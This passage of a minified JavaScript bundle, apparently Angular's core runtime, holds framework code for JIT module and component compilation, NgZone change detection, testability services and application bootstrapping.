te8":ad,"\u0275\u0275styleMapInterpolateV":cd,"\u0275\u0275styleProp":yu,"\u0275\u0275stylePropInterpolate1":ld,"\u0275\u0275stylePropInterpolate2":ud,"\u0275\u0275stylePropInterpolate3":dd,"\u0275\u0275stylePropInterpolate4":hd,"\u0275\u0275stylePropInterpolate5":pd,"\u0275\u0275stylePropInterpolate6":fd,"\u0275\u0275stylePropInterpolate7":gd,"\u0275\u0275stylePropInterpolate8":md,"\u0275\u0275stylePropInterpolateV":yd,"\u0275\u0275classProp":bu,"\u0275\u0275advance":ms,"\u0275\u0275template":Kc,"\u0275\u0275text":Nu,"\u0275\u0275textInterpolate":Ru,"\u0275\u0275textInterpolate1":Lu,"\u0275\u0275textInterpolate2":ju,"\u0275\u0275textInterpolate3":Fu,"\u0275\u0275textInterpolate4":Vu,"\u0275\u0275textInterpolate5":Bu,"\u0275\u0275textInterpolate6":Hu,"\u0275\u0275textInterpolate7":zu,"\u0275\u0275textInterpolate8":Gu,"\u0275\u0275textInterpolateV":Uu,"\u0275\u0275i18n":Lh,"\u0275\u0275i18nAttributes":jh,"\u0275\u0275i18nExp":Fh,"\u0275\u0275i18nStart":Nh,"\u0275\u0275i18nEnd":Rh,"\u0275\u0275i18nApply":Vh,"\u0275\u0275i18nPostprocess":Bh,"\u0275\u0275resolveWindow":go,"\u0275\u0275resolveDocument":mo,"\u0275\u0275resolveBody":yo,"\u0275\u0275setComponentScope":it,"\u0275\u0275setNgModuleScope":lt,"\u0275\u0275sanitizeHtml":ki,"\u0275\u0275sanitizeStyle":Ai,"\u0275\u0275sanitizeResourceUrl":Ni,"\u0275\u0275sanitizeScript":Ri,"\u0275\u0275sanitizeUrl":Di,"\u0275\u0275sanitizeUrlOrResourceUrl":Vi,"\u0275\u0275trustConstantHtml":Li,"\u0275\u0275trustConstantResourceUrl":ji,forwardRef:g,resolveForwardRef:m}))();let oy=null;function sy(){oy=null}const ay=[];let cy=!1;function ly(){if(!cy){cy=!0;try{for(let t=ay.length-1;t>=0;t--){const{moduleType:e,ngModule:n}=ay[t];n.declarations&&n.declarations.every(uy)&&(ay.splice(t,1),my(e,n))}}finally{cy=!1}}}function uy(t){return Array.isArray(t)?t.every(uy):!!m(t)}function dy(t,e={}){hy(t,e),function(t,e){ay.push({moduleType:t,ngModule:e})}(t,e)}function hy(t,e,n=!1){const r=qn(e.declarations||$);let i=null;Object.defineProperty(t,Y,{configurable:!0,get:()=>(null===i&&(i=zn().compileNgModule(iy,`ng:///${t.name}/\u0275mod.js`,{type:t,bootstrap:qn(e.bootstrap||$).map(m),declarations:r.map(m),imports:qn(e.imports||$).map(m).map(vy),exports:qn(e.exports||$).map(m).map(vy),schemas:e.schemas?qn(e.schemas):null,id:e.id||null}),i.schemas||(i.schemas=[])),i)});let o=null;Object.defineProperty(t,tt,{get:()=>{if(null===o){const e=zn();o=e.compileFactory(iy,`ng:///${t.name}/\u0275fac.js`,{name:t.name,type:t,deps:Ir(t),target:e.FactoryTarget.NgModule,typeArgumentCount:0})}return o},configurable:!1});let s=null;Object.defineProperty(t,I,{get:()=>{if(null===s){const n={name:t.name,type:t,providers:e.providers||$,imports:[(e.imports||$).map(m),(e.exports||$).map(m)]};s=zn().compileInjector(iy,`ng:///${t.name}/\u0275inj.js`,n)}return s},configurable:!1})}let py=new WeakMap,fy=new WeakMap;function gy(){py=new WeakMap,fy=new WeakMap,ay.length=0}function my(t,e){const n=qn(e.declarations||$),r=by(t);n.forEach(e=>{e.hasOwnProperty(Q)?yy(pt(e),r):!e.hasOwnProperty(X)&&!e.hasOwnProperty(Z)&&(e.ngSelectorScope=t)})}function yy(t,e){t.directiveDefs=()=>Array.from(e.compilation.directives).map(t=>t.hasOwnProperty(Q)?pt(t):ft(t)).filter(t=>!!t),t.pipeDefs=()=>Array.from(e.compilation.pipes).map(t=>gt(t)),t.schemas=e.schemas,t.tView=null}function by(t){if(!_y(t))throw new Error(`${t.name} does not have a module def (\u0275mod property)`);const e=mt(t);if(null!==e.transitiveCompileScopes)return e.transitiveCompileScopes;const n={schemas:e.schemas||null,compilation:{directives:new Set,pipes:new Set},exported:{directives:new Set,pipes:new Set}};return bo(e.imports).forEach(t=>{const e=t;if(!_y(e))throw new Error(`Importing ${e.name} which does not have a \u0275mod property`);const r=by(e);r.exported.directives.forEach(t=>n.compilation.directives.add(t)),r.exported.pipes.forEach(t=>n.compilation.pipes.add(t))}),bo(e.declarations).forEach(t=>{gt(t)?n.compilation.pipes.add(t):n.compilation.directives.add(t)}),bo(e.exports).forEach(t=>{const e=t;if(_y(e)){const t=by(e);t.exported.directives.forEach(t=>{n.compilation.directives.add(t),n.exported.directives.add(t)}),t.exported.pipes.forEach(t=>{n.compilation.pipes.add(t),n.exported.pipes.add(t)})}else gt(e)?n.exported.pipes.add(e):n.exported.directives.add(e)}),e.transitiveCompileScopes=n,n}function vy(t){return function(t){return void 0!==t.ngModule}(t)?t.ngModule:t}function _y(t){return!!mt(t)}let Cy=0;function wy(t,e){let n=null;(function(t,e){Rr(e)&&(Dr.set(t,e),Nr.add(t))})(t,e),Sy(t,e),Object.defineProperty(t,Q,{get:()=>{if(null===n){const r=zn();if(Rr(e)){const n=[`Component '${t.name}' is not resolved:`];throw e.templateUrl&&n.push(` - templateUrl: ${e.templateUrl}`),e.styleUrls&&e.styleUrls.length&&n.push(` - styleUrls: ${JSON.stringify(e.styleUrls)}`),n.push("Did you run and wait for 'resolveComponentResources()'?"),new Error(n.join("\n"))}const i=oy;let o=e.preserveWhitespaces;void 0===o&&(o=null!==i&&void 0!==i.preserveWhitespaces&&i.preserveWhitespaces);let s=e.encapsulation;void 0===s&&(s=null!==i&&void 0!==i.defaultEncapsulation?i.defaultEncapsulation:z.Emulated);const a=e.templateUrl||`ng:///${t.name}/template.html`,c=Object.assign(Object.assign({},Oy(t,e)),{typeSourceSpan:r.createParseSourceSpan("Component",t.name,a),template:e.template||"",preserveWhitespaces:o,styles:e.styles||$,animations:e.animations,directives:[],changeDetection:e.changeDetection,pipes:new Map,encapsulation:s,interpolation:e.interpolation,viewProviders:e.viewProviders||null});Cy++;try{c.usesInheritance&&Ey(t),n=r.compileComponent(iy,a,c)}finally{Cy--}if(0===Cy&&ly(),function(t){return void 0!==t.ngSelectorScope}(t)){const e=by(t.ngSelectorScope);yy(n,e)}}return n},configurable:!1})}function xy(t,e){let n=null;Sy(t,e||{}),Object.defineProperty(t,X,{get:()=>{if(null===n){const r=Py(t,e||{});n=zn().compileDirective(iy,r.sourceMapUrl,r.metadata)}return n},configurable:!1})}function Py(t,e){const n=t&&t.name,r=`ng:///${n}/\u0275dir.js`,i=zn(),o=Oy(t,e);return o.typeSourceSpan=i.createParseSourceSpan("Directive",n,r),o.usesInheritance&&Ey(t),{metadata:o,sourceMapUrl:r}}function Sy(t,e){let n=null;Object.defineProperty(t,tt,{get:()=>{if(null===n){const r=Py(t,e),i=zn();n=i.compileFactory(iy,`ng:///${t.name}/\u0275fac.js`,{name:r.metadata.name,type:r.metadata.type,typeArgumentCount:0,deps:Ir(t),target:i.FactoryTarget.Directive})}return n},configurable:!1})}function My(t){return Object.getPrototypeOf(t.prototype)===Object.prototype}function Oy(t,e){const n=Tr(),r=n.ownPropMetadata(t);return{name:t.name,type:t,selector:void 0!==e.selector?e.selector:null,host:e.host||K,propMetadata:r,inputs:e.inputs||$,outputs:e.outputs||$,queries:ky(t,r,Dy),lifecycle:{usesOnChanges:n.hasLifecycleHook(t,"ngOnChanges")},typeSourceSpan:null,usesInheritance:!My(t),exportAs:Ay(e.exportAs),providers:e.providers||null,viewQueries:ky(t,r,Ny)}}function Ey(t){const e=Object.prototype;let n=Object.getPrototypeOf(t.prototype).constructor;for(;n&&n!==e;)!ft(n)&&!pt(n)&&Fy(n)&&xy(n,null),n=Object.getPrototypeOf(n)}function Ty(t){return"string"==typeof t?Ly(t):m(t)}function Iy(t,e){return{propertyName:t,predicate:Ty(e.selector),descendants:e.descendants,first:e.first,read:e.read?e.read:null,static:!!e.static,emitDistinctChangesOnly:!!e.emitDistinctChangesOnly}}function ky(t,e,n){const r=[];for(const i in e)if(e.hasOwnProperty(i)){const o=e[i];o.forEach(e=>{if(n(e)){if(!e.selector)throw new Error(`Can't construct a query for the property "${i}" of "${_(t)}" since the query selector wasn't defined.`);if(o.some(Ry))throw new Error("Cannot combine @Input decorators with query decorators");r.push(Iy(i,e))}})}return r}function Ay(t){return void 0===t?null:Ly(t)}function Dy(t){const e=t.ngMetadataName;return"ContentChild"===e||"ContentChildren"===e}function Ny(t){const e=t.ngMetadataName;return"ViewChild"===e||"ViewChildren"===e}function Ry(t){return"Input"===t.ngMetadataName}function Ly(t){return t.split(",").map(t=>t.trim())}const jy=["ngOnChanges","ngOnInit","ngOnDestroy","ngDoCheck","ngAfterViewInit","ngAfterViewChecked","ngAfterContentInit","ngAfterContentChecked"];function Fy(t){const e=Tr();if(jy.some(n=>e.hasLifecycleHook(t,n)))return!0;const n=e.propMetadata(t);for(const r in n){const t=n[r];for(let e=0;e<t.length;e++){const n=t[e],r=n.ngMetadataName;if(Ry(n)||Dy(n)||Ny(n)||"Output"===r||"HostBinding"===r||"HostListener"===r)return!0}}return!1}function Vy(t,e){let n=null,r=null;Object.defineProperty(t,tt,{get:()=>{if(null===r){const n=By(t,e),i=zn();r=i.compileFactory(iy,`ng:///${n.name}/\u0275fac.js`,{name:n.name,type:n.type,typeArgumentCount:0,deps:Ir(t),target:i.FactoryTarget.Pipe})}return r},configurable:!1}),Object.defineProperty(t,Z,{get:()=>{if(null===n){const r=By(t,e);n=zn().compilePipe(iy,`ng:///${r.name}/\u0275pipe.js`,r)}return n},configurable:!1})}function By(t,e){return{type:t,name:t.name,pipeName:e.name,pure:void 0===e.pure||e.pure}}const Hy=En("Directive",(t={})=>t,void 0,void 0,(t,e)=>Yy(t,e)),zy=En("Component",(t={})=>Object.assign({changeDetection:V.Default},t),Hy,void 0,(t,e)=>Zy(t,e)),Gy=En("Pipe",t=>Object.assign({pure:!0},t),void 0,void 0,(t,e)=>Jy(t,e)),Uy=kn("Input",t=>({bindingPropertyName:t})),qy=kn("Output",t=>({bindingPropertyName:t})),Wy=kn("HostBinding",t=>({hostPropertyName:t})),Ky=kn("HostListener",(t,e)=>({eventName:t,args:e})),$y=wy,Qy=xy,Xy=Vy,Zy=$y,Yy=Qy,Jy=Xy,tb=En("NgModule",t=>t,void 0,void 0,(t,e)=>nb(t,e)),eb=dy,nb=eb,rb=new Nn("Application Initializer");let ib=(()=>{class t{constructor(t){this.appInits=t,this.resolve=rp,this.reject=rp,this.initialized=!1,this.done=!1,this.donePromise=new Promise((t,e)=>{this.resolve=t,this.reject=e})}runInitializers(){if(this.initialized)return;const t=[],e=()=>{this.done=!0,this.resolve()};if(this.appInits)for(let n=0;n<this.appInits.length;n++){const e=this.appInits[n]();if(Fl(e))t.push(e);else if(Bl(e)){const n=new Promise((t,n)=>{e.subscribe({complete:t,error:n})});t.push(n)}}Promise.all(t).then(()=>{e()}).catch(t=>{this.reject(t)}),0===t.length&&e(),this.initialized=!0}}return t.\u0275fac=function(e){return new(e||t)(gr(rb,8))},t.\u0275prov=x({token:t,factory:t.\u0275fac}),t})();const ob=new Nn("AppId");function sb(){return`${cb()}${cb()}${cb()}`}const ab={provide:ob,useFactory:sb,deps:[]};function cb(){return String.fromCharCode(97+Math.floor(25*Math.random()))}const lb=new Nn("Platform Initializer"),ub=new Nn("Platform ID"),db=new Nn("appBootstrapListener"),hb=new Nn("Application Packages Root URL");let pb=(()=>{class t{log(t){console.log(t)}warn(t){console.warn(t)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=x({token:t,factory:t.\u0275fac}),t})();const fb=new Nn("LocaleId"),gb=new Nn("DefaultCurrencyCode"),mb=new Nn("Translations"),yb=new Nn("TranslationsFormat");var bb=(()=>((bb=bb||{})[bb.Error=0]="Error",bb[bb.Warning=1]="Warning",bb[bb.Ignore=2]="Ignore",bb))();const vb=!0,_b=vb;class Cb{constructor(t,e){this.ngModuleFactory=t,this.componentFactories=e}}const wb=function(t){return new hm(t)},xb=wb,Pb=function(t){return Promise.resolve(wb(t))},Sb=Pb,Mb=function(t){const e=wb(t),n=bo(mt(t).declarations).reduce((t,e)=>{const n=pt(e);return n&&t.push(new rm(n)),t},[]);return new Cb(e,n)},Ob=Mb,Eb=function(t){return Promise.resolve(Mb(t))},Tb=Eb;let Ib=(()=>{class t{constructor(){this.compileModuleSync=xb,this.compileModuleAsync=Sb,this.compileModuleAndAllComponentsSync=Ob,this.compileModuleAndAllComponentsAsync=Tb}clearCache(){}clearCacheFor(t){}getModuleId(t){}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=x({token:t,factory:t.\u0275fac}),t})();const kb=new Nn("compilerOptions");class Ab{}const Db=(()=>Promise.resolve(0))();function Nb(t){"undefined"==typeof Zone?Db.then(()=>{t&&t.apply(null,null)}):Zone.current.scheduleMicroTask("scheduleMicrotask",t)}class Rb{constructor({enableLongStackTrace:t=!1,shouldCoalesceEventChangeDetection:e=!1,shouldCoalesceRunChangeDetection:n=!1}){if(this.hasPendingMacrotasks=!1,this.hasPendingMicrotasks=!1,this.isStable=!0,this.onUnstable=new Fm(!1),this.onMicrotaskEmpty=new Fm(!1),this.onStable=new Fm(!1),this.onError=new Fm(!1),"undefined"==typeof Zone)throw new Error("In this configuration Angular requires Zone.js");Zone.assertZonePatched();const r=this;r._nesting=0,r._outer=r._inner=Zone.current,Zone.TaskTrackingZoneSpec&&(r._inner=r._inner.fork(new Zone.TaskTrackingZoneSpec)),t&&Zone.longStackTraceZoneSpec&&(r._inner=r._inner.fork(Zone.longStackTraceZoneSpec)),r.shouldCoalesceEventChangeDetection=!n&&e,r.shouldCoalesceRunChangeDetection=n,r.lastRequestAnimationFrameId=-1,r.nativeRequestAnimationFrame=function(){let t=W.requestAnimationFrame,e=W.cancelAnimationFrame;if("undefined"!=typeof Zone&&t&&e){const n=t[Zone.__symbol__("OriginalDelegate")];n&&(t=n);const r=e[Zone.__symbol__("OriginalDelegate")];r&&(e=r)}return{nativeRequestAnimationFrame:t,nativeCancelAnimationFrame:e}}().nativeRequestAnimationFrame,function(t){const e=()=>{!function(t){t.isCheckStableRunning||-1!==t.lastRequestAnimationFrameId||(t.lastRequestAnimationFrameId=t.nativeRequestAnimationFrame.call(W,()=>{t.fakeTopEventTask||(t.fakeTopEventTask=Zone.root.scheduleEventTask("fakeTopEventTask",()=>{t.lastRequestAnimationFrameId=-1,Fb(t),t.isCheckStableRunning=!0,jb(t),t.isCheckStableRunning=!1},void 0,()=>{},()=>{})),t.fakeTopEventTask.invoke()}),Fb(t))}(t)};t._inner=t._inner.fork({name:"angular",properties:{isAngularZone:!0},onInvokeTask:(n,r,i,o,s,a)=>{try{return Vb(t),n.invokeTask(i,o,s,a)}finally{(t.shouldCoalesceEventChangeDetection&&"eventTask"===o.type||t.shouldCoalesceRunChangeDetection)&&e(),Bb(t)}},onInvoke:(n,r,i,o,s,a,c)=>{try{return Vb(t),n.invoke(i,o,s,a,c)}finally{t.shouldCoalesceRunChangeDetection&&e(),Bb(t)}},onHasTask:(e,n,r,i)=>{e.hasTask(r,i),n===r&&("microTask"==i.change?(t._hasPendingMicrotasks=i.microTask,Fb(t),jb(t)):"macroTask"==i.change&&(t.hasPendingMacrotasks=i.macroTask))},onHandleError:(e,n,r,i)=>(e.handleError(r,i),t.runOutsideAngular(()=>t.onError.emit(i)),!1)})}(r)}static isInAngularZone(){return!0===Zone.current.get("isAngularZone")}static assertInAngularZone(){if(!Rb.isInAngularZone())throw new Error("Expected to be in Angular Zone, but it is not!")}static assertNotInAngularZone(){if(Rb.isInAngularZone())throw new Error("Expected to not be in Angular Zone, but it is!")}run(t,e,n){return this._inner.run(t,e,n)}runTask(t,e,n,r){const i=this._inner,o=i.scheduleEventTask("NgZoneEvent: "+r,t,Lb,rp,rp);try{return i.runTask(o,e,n)}finally{i.cancelTask(o)}}runGuarded(t,e,n){return this._inner.runGuarded(t,e,n)}runOutsideAngular(t){return this._outer.run(t)}}const Lb={};function jb(t){if(0==t._nesting&&!t.hasPendingMicrotasks&&!t.isStable)try{t._nesting++,t.onMicrotaskEmpty.emit(null)}finally{if(t._nesting--,!t.hasPendingMicrotasks)try{t.runOutsideAngular(()=>t.onStable.emit(null))}finally{t.isStable=!0}}}function Fb(t){t.hasPendingMicrotasks=!!(t._hasPendingMicrotasks||(t.shouldCoalesceEventChangeDetection||t.shouldCoalesceRunChangeDetection)&&-1!==t.lastRequestAnimationFrameId)}function Vb(t){t._nesting++,t.isStable&&(t.isStable=!1,t.onUnstable.emit(null))}function Bb(t){t._nesting--,jb(t)}class Hb{constructor(){this.hasPendingMicrotasks=!1,this.hasPendingMacrotasks=!1,this.isStable=!0,this.onUnstable=new Fm,this.onMicrotaskEmpty=new Fm,this.onStable=new Fm,this.onError=new Fm}run(t,e,n){return t.apply(e,n)}runGuarded(t,e,n){return t.apply(e,n)}runOutsideAngular(t){return t()}runTask(t,e,n,r){return t.apply(e,n)}}let zb=(()=>{class t{constructor(t){this._ngZone=t,this._pendingCount=0,this._isZoneStable=!0,this._didWork=!1,this._callbacks=[],this.taskTrackingZone=null,this._watchAngularEvents(),t.run(()=>{this.taskTrackingZone="undefined"==typeof Zone?null:Zone.current.get("TaskTrackingZone")})}_watchAngularEvents(){this._ngZone.onUnstable.subscribe({next:()=>{this._didWork=!0,this._isZoneStable=!1}}),this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.subscribe({next:()=>{Rb.assertNotInAngularZone(),Nb(()=>{this._isZoneStable=!0,this._runCallbacksIfReady()})}})})}increasePendingRequestCount(){return this._pendingCount+=1,this._didWork=!0,this._pendingCount}decreasePendingRequestCount(){if(this._pendingCount-=1,this._pendingCount<0)throw new Error("pending async requests below zero");return this._runCallbacksIfReady(),this._pendingCount}isStable(){return this._isZoneStable&&0===this._pendingCount&&!this._ngZone.hasPendingMacrotasks}_runCallbacksIfReady(){if(this.isStable())Nb(()=>{for(;0!==this._callbacks.length;){let t=this._callbacks.pop();clearTimeout(t.timeoutId),t.doneCb(this._didWork)}this._didWork=!1});else{let t=this.getPendingTasks();this._callbacks=this._callbacks.filter(e=>!e.updateCb||!e.updateCb(t)||(clearTimeout(e.timeoutId),!1)),this._didWork=!0}}getPendingTasks(){return this.taskTrackingZone?this.taskTrackingZone.macroTasks.map(t=>({source:t.source,creationLocation:t.creationLocation,data:t.data})):[]}addCallback(t,e,n){let r=-1;e&&e>0&&(r=setTimeout(()=>{this._callbacks=this._callbacks.filter(t=>t.timeoutId!==r),t(this._didWork,this.getPendingTasks())},e)),this._callbacks.push({doneCb:t,timeoutId:r,updateCb:n})}whenStable(t,e,n){if(n&&!this.taskTrackingZone)throw new Error('Task tracking zone is required when passing an update callback to whenStable(). Is "zone.js/plugins/task-tracking" loaded?');this.addCallback(t,e,n),this._runCallbacksIfReady()}getPendingRequestCount(){return this._pendingCount}findProviders(t,e,n){return[]}}return t.\u0275fac=function(e){return new(e||t)(gr(Rb))},t.\u0275prov=x({token:t,factory:t.\u0275fac}),t})(),Gb=(()=>{class t{constructor(){this._applications=new Map,Wb.addToWindow(this)}registerApplication(t,e){this._applications.set(t,e)}unregisterApplication(t){this._applications.delete(t)}unregisterAllApplications(){this._applications.clear()}getTestability(t){return this._applications.get(t)||null}getAllTestabilities(){return Array.from(this._applications.values())}getAllRootElements(){return Array.from(this._applications.keys())}findTestabilityInTree(t,e=!0){return Wb.findTestabilityInTree(this,t,e)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=x({token:t,factory:t.\u0275fac}),t})();class Ub{addToWindow(t){}findTestabilityInTree(t,e,n){return null}}function qb(t){Wb=t}let Wb=new Ub,Kb=!0,$b=!1;function Qb(){return $b=!0,Kb}function Xb(){if($b)throw new Error("Cannot enable prod mode after platform setup.");Kb=!1}let Zb,Yb=Jb;function Jb(t,e,n){const r=new hm(n);return Promise.resolve(r)}let tv=ev;function ev(t){return t.isBoundToModule}const nv=new Nn("AllowMultipleToken");class rv{constructor(t,e){this.name=t,this.token=e}}function iv(t){if(Zb&&!Zb.destroyed&&!Zb.injector.get(nv,!1))throw new Error("There can be only one platform. Destroy the previous one to create a new one.");Zb=t.get(lv);const e=t.get(lb,null);return e&&e.forEach(t=>t()),Zb}function ov(t,e,n=[]){const r=`Platform: ${e}`,i=new Nn(r);return(e=[])=>{let o=cv();if(!o||o.injector.get(nv,!1))if(t)t(n.concat(e).concat({provide:i,useValue:!0}));else{const t=n.concat(e).concat({provide:i,useValue:!0},{provide:xa,useValue:"platform"});iv(Fa.create({providers:t,name:r}))}return sv(i)}}function sv(t){const e=cv();if(!e)throw new Error("No platform exists!");if(!e.injector.get(t,null))throw new Error("A platform with a different configuration has been created. Please destroy it first.");return e}function av(){Zb&&!Zb.destroyed&&Zb.destroy()}function cv(){return Zb&&!Zb.destroyed?Zb:null}let lv=(()=>{class t{constructor(t){this._injector=t,this._modules=[],this._destroyListeners=[],this._destroyed=!1}bootstrapModuleFactory(t,e){const n=function(t,e){let n;return n="noop"===t?new Hb:("zone.js"===t?void 0:t)||new Rb({enableLongStackTrace:Qb(),shouldCoalesceEventChangeDetection:!!(null==e?void 0:e.ngZoneEventCoalescing),shouldCoalesceRunChangeDetection:!!(null==e?void 0:e.ngZoneRunCoalescing)}),n}(e?e.ngZone:void 0,{ngZoneEventCoalescing:e&&e.ngZoneEventCoalescing||!1,ngZoneRunCoalescing:e&&e.ngZoneRunCoalescing||!1}),r=[{provide:Rb,useValue:n}];return n.run(()=>{const i=Fa.create({providers:r,parent:this.injector,name:t.moduleType.name}),o=t.create(i),s=o.injector.get(io,null);if(!s)throw new Error("No ErrorHandler. Is platform module (BrowserModule) included?");return n.runOutsideAngular(()=>{const t=n.onError.subscribe({next:t=>{s.handleError(t)}});o.onDestroy(()=>{hv(this._modules,o),t.unsubscribe()})}),function(t,n,r){try{const e=r();return Fl(e)?e.catch(e=>{throw n.runOutsideAngular(()=>t.handleError(e)),e}):e}catch(e){throw n.runOutsideAngular(()=>t.handleError(e)),e}}(s,n,()=>{const t=o.injector.get(ib);return t.runInitializers(),t.donePromise.then(()=>(_b&&jd(o.injector.get(fb,kd)||kd),this._moduleDoBootstrap(o),o))})})}bootstrapModule(t,e=[]){const n=uv({},e);return Yb(this.injector,n,t).then(t=>this.bootstrapModuleFactory(t,n))}_moduleDoBootstrap(t){const e=t.injector.get(dv);if(t._bootstrapComponents.length>0)t._bootstrapComponents.forEach(t=>e.bootstrap(t));else{if(!t.instance.ngDoBootstrap)throw new Error(`The module ${h(t.instance.constructor)} was bootstrapped, but it does not declare "@NgModule.bootstrap" components nor a "ngDoBootstrap" method. Please define one of these.`);t.instance.ngDoBootstrap(e)}this._modules.push(t)}onDestroy(t){this._destroyListeners.push(t)}get injector(){return this._injector}destroy(){if(this._destroyed)throw new Error("The platform has already been destroyed!");this._modules.slice().forEach(t=>t.destroy()),this._destroyListeners.forEach(t=>t()),this._destroyed=!0}get destroyed(){return this._destroyed}}return t.\u0275fac=function(e){return new(e||t)(gr(Fa))},t.\u0275prov=x({token:t,factory:t.\u0275fac}),t})();function uv(t,e){return Array.isArray(e)?e.reduce(uv,t):Object.assign(Object.assign({},t),e)}let dv=(()=>{class t{constructor(t,e,n,r,i){this._zone=t,this._injector=e,this._exceptionHandler=n,this._componentFactoryResolver=r,this._initStatus=i,this._bootstrapListeners=[],this._views=[],this._runningTick=!1,this._stable=!0,this.componentTypes=[],this.components=[],this._onMicrotaskEmptySubscription=this._zone.onMicrotaskEmpty.subscribe({next:()=>{this._zone.run(()=>{this.tick()})}});const u=new o.y(t=>{this._stable=this._zone.isStable&&!this._zone.hasPendingMacrotasks&&!this._zone.hasPendingMicrotasks,this._zone.runOutsideAngular(()=>{t.next(this._stable),t.complete()})}),d=new o.y(t=>{let e;this._zone.runOutsideAngular(()=>{e=this._zone.onStable.subscribe(()=>{Rb.assertNotInAngularZone(),Nb(()=>{!this._stable&&!this._zone.hasPendingMacrotasks&&!this._zone.hasPendingMicrotasks&&(this._stable=!0,t.next(!0))})})});const n=this._zone.onUnstable.subscribe(()=>{Rb.assertInAngularZone(),this._stable&&(this._stable=!1,this._zone.runOutsideAngular(()=>{t.next(!1)}))});return()=>{e.unsubscribe(),n.unsubscribe()}});this.isStable=(0,s.T)(u,d.pipe(t=>(0,c.x)()(function(t,e){return function(e){let n;n="function"==typeof t?t:function(){return t};const r=Object.create(e,a.N);return r.source=e,r.subjectFactory=n,r}}(l)(t))))}bootstrap(t,e){if(!this._initStatus.done)throw new Error("Cannot bootstrap as there are still asynchronous initializers running. Bootstrap components in the `ngDoBootstrap` method of the root module.");let n;n=t instanceof Xh?t:this._componentFactoryResolver.resolveComponentFactory(t),this.componentTypes.push(n.componentType);const r=tv(n)?void 0:this._injector.get(Qp),i=n.create(Fa.NULL,[],e||n.selector,r),o=i.location.nativeElement,s=i.injector.get(zb,null),a=s&&i.injector.get(Gb);return s&&a&&a.registerApplication(o,s),i.onDestroy(()=>{this.detachView(i.hostView),hv(this.components,i),a&&a.unregisterApplication(o)}),this._loadComponent(i),i}tick(){if(this._runningTick)throw new Error("ApplicationRef.tick is called recursively");try{this._runningTick=!0;for(let t of this._views)t.detectChanges()}catch(t){this._zone.runOutsideAngular(()=>this._exceptionHandler.handleError(t))}finally{this._runningTick=!1}}attachView(t){const e=t;this._views.push(e),e.attachToAppRef(this)}detachView(t){const e=t;hv(this._views,e),e.detachFromAppRef()}_loadComponent(t){this.attachView(t.hostView),this.tick(),this.components.push(t),this._injector.get(db,[]).concat(this._bootstrapListeners).forEach(e=>e(t))}ngOnDestroy(){this._views.slice().forEach(t=>t.destroy()),this._onMicrotaskEmptySubscription.unsubscribe()}get viewCount(){return this._views.length}}return t.\u0275fac=function(e){return new(e||t)(gr(Rb),gr(Fa),gr(io),gr(tp),gr(ib))},t.\u0275prov=x({token:t,factory:t.\u0275fac}),t})();function hv(t,e){const n=t.indexOf(e);n>-1&&t.splice(n,1)}class pv{}function fv(t){const e=um(t);if(!e)throw yv(t);return e}function gv(t){const e=um(t);if(!e)throw yv(t);return new hm(e)}const mv=gv;function yv(t){return new Error(`No module with ID ${t} loaded`)}class bv{}const vv={factoryPathPrefix:"",factoryPathSuffix:".ngfactory"};let _v=(()=>{class t{constructor(t,e){this._compiler=t,this._config=e||vv}load(t){return!_b&&this._compiler instanceof Ib?this.loadFactory(t):this.loadAndCompile(t)}loadAndCompile(t){let[e,r]=t.split("#");return void 0===r&&(r="default"),n(8255)(e).then(t=>t[r]).then(t=>Cv(t,e,r)).then(t=>this._compiler.compileModuleAsync(t))}loadFactory(t){let[e,r]=t.split("#"),i="NgFactory";return void 0===r&&(r="default",i=""),n(8255)(this._config.factoryPathPrefix+e+this._config.factoryPathSuffix).then(t=>t[r+i]).then(t=>Cv(t,e,r))}}return t.\u0275fac=function(e){return new(e||t)(gr(Ib),gr(bv,8))},t.\u0275prov=x({token:t,factory:t.\u0275fac}),t})();function Cv(t,e,n){if(!t)throw new Error(`Cannot find '${n}' in '${e}'`);return t}class wv extends jp{}class xv extends wv{}class Pv{constructor(t,e){this.name=t,this.callback=e}}class Sv{constructor(t,e,n){this.listeners=[],this.parent=null,this._debugContext=n,this.nativeNode=t,e&&e instanceof Mv&&e.addChild(this)}get injector(){return this._debugContext.injector}get componentInstance(){return this._debugContext.component}get context(){return this._debugContext.context}get references(){return this._debugContext.references}get providerTokens(){return this._debugContext.providerTokens}}class Mv extends Sv{constructor(t,e,n){super(t,e,n),this.properties={},this.attributes={},this.classes={},this.styles={},this.childNodes=[],this.nativeElement=t}addChild(t){t&&(this.childNodes.push(t),t.parent=this)}removeChild(t){const e=this.childNodes.indexOf(t);-1!==e&&(t.parent=null,this.childNodes.splice(e,1))}insertChildrenAfter(t,e){const n=this.childNodes.indexOf(t);-1!==n&&(this.childNodes.splice(n+1,0,...e),e.forEach(e=>{e.parent&&e.parent.removeChild(e),t.parent=this}))}insertBefore(t,e){const n=this.childNodes.indexOf(t);-1===n?this.addChild(e):(e.parent&&e.parent.removeChild(e),e.parent=this,this.childNodes.splice(n,0,e))}query(t){return this.queryAll(t)[0]||null}queryAll(t){const e=[];return Ev(this,t,e),e}queryAllNodes(t){const e=[];return Tv(this,t,e),e}get children(){return this.childNodes.filter(t=>t instanceof Mv)}triggerEventHandler(t,e){this.listeners.forEach(n=>{n.name==t&&n.callback(e)})}}function Ov(t){return t.map(t=>t.nativeElement)}function Ev(t,e,n){t.childNodes.forEach(t=>{t instanceof Mv&&(e(t)&&n.push(t),Ev(t,e,n))})}function Tv(t,e,n){t instanceof Mv&&t.childNodes.forEach(t=>{e(t)&&n.push(t),t instanceof Mv&&Tv(t,e,n)})}class Iv{constructor(t){this.nativeNode=t}get parent(){const t=this.nativeNode.parentNode;return t?new kv(t):null}get injector(){return Ga(this.nativeNode)}get componentInstance(){const t=this.nativeNode;return t&&(Va(t)||Ha(t))}get context(){return Va(this.nativeNode)||Ba(this.nativeNode)}get listeners(){return Ka(this.nativeNode).filter(t=>"dom"===t.type)}get references(){return function(t){const e=Hi(t);return null===e?{}:(void 0===e.localRefs&&(e.localRefs=function(t,e){const n=t[1].data[e];if(n&&n.localNames){const e={};let r=n.index+1;for(let i=0;i<n.localNames.length;i+=2)e[n.localNames[i]]=t[r],r++;return e}return null}(e.lView,e.nodeIndex)),e.localRefs||{})}(this.nativeNode)}get providerTokens(){return function(t){const e=Hi(t);if(null===e)return[];const n=e.lView[1],r=n.data[e.nodeIndex],i=[],o=r.directiveEnd;for(let s=1048575&r.providerIndexes;s<o;s++){let 